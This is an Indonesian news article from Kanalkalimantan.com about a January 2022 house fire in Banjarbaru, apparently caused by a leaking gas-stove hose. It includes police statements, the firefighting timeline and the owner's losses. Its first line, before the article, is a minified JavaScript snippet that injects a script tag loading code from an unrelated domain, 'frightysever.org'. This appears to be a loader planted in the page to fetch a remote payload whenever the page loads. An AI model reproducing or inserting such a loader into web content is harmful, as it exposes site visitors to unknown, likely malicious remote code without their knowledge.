(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Terungkap penyebab sumber api yang menghanguskan sebuah rumah semi permanen di Jalan Trikora depan kantor UPT Damri RT 018 RW 004, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Banjarbaru, yang terjadi Minggu (23/1/2022) malam.
Diduga akibat kebocoran pada selang kompor gas yang lama tak terpakai, api muncul kemudian membesar lalu menghabiskan seluruh bangunan.
Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aiptu Kardi Gunadi mengatakan, sekutar pukul 21.00 Wita Bahrul (52) pemilik rumah yang sehari-harinya bekerja sebagai tukang pungut sampah ingin menggunakan kompor gas untuk memasak.
Rumah tukang pungut sampah di Trikora, Guntung Manggis, Landasan Ulin yangmluedes terbakar, Minggu (23/1/2022) malam. Foto: ist
“Sebenarnya Bahrul selama tiga bulan terakhir tidak pernah lagi menggunakan kompor gas, karena sering mendengar suara gas keluar dari selang, dan hanya menggunakan kompor minyak, tapi ingin cepat sehingga digunakanlah kompor gas tersebut,” ungkap Kasi Humas kepada Kanalkalimantan.com, Minggu (23/1/2022) malam.
Ditambahkan Aiptu Kardi Gunadi, sebelum menyalakan kompor, Bahrul sadar ada suara desiran gas dan selang kompor sempat ditutup dengan plastik oleh pemilik rumah. Nahas, saat Bahrul menyalakan kompor api tiba-tiba menyambar.
Asal mula api diduga dari kebocoran selang gas. Foto: ist
“Bahrul sempat menyiram api dengan menggunakan air , amun api semakin membesar, karena rumah terbuat dari kayu api sangat cepat membesar,” tambahnya.
Sementara itu, petugas pemadam kebakaran datang sekitar setengah jam kemudian, pada sekitar pukul 21.45 Wita kobanaen api makin membesar, dan api dapat dikuasai petugas hingga pukul 22.20 Wita.
Tabung gas 3 Kg yang diduga menjadi sumber api. Foto: ist
Dari kejadian tersebut, Bahrul dikatakan Kasi Humas mengalami kerugian sekitar Rp 50 juta, karena di dalam rumah ada uang tabungan sebesar Rp 20 juta, HP Samsung dan Lenovo, TV 21 inch, kipas angin tiga buah, tape tiga buah dan barang rongsokan senilai 5 juta.
Sekdar diketahui, bangunan rumah semi permanen itu berukuran 4×15 meter ditinggali Bahrul kurang lebih satu tahun terkahir. Lahan dipinjam pakai dari Retno, pemilik tanah. Dalam insiden ini tidak ada memakan korban jiwa.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.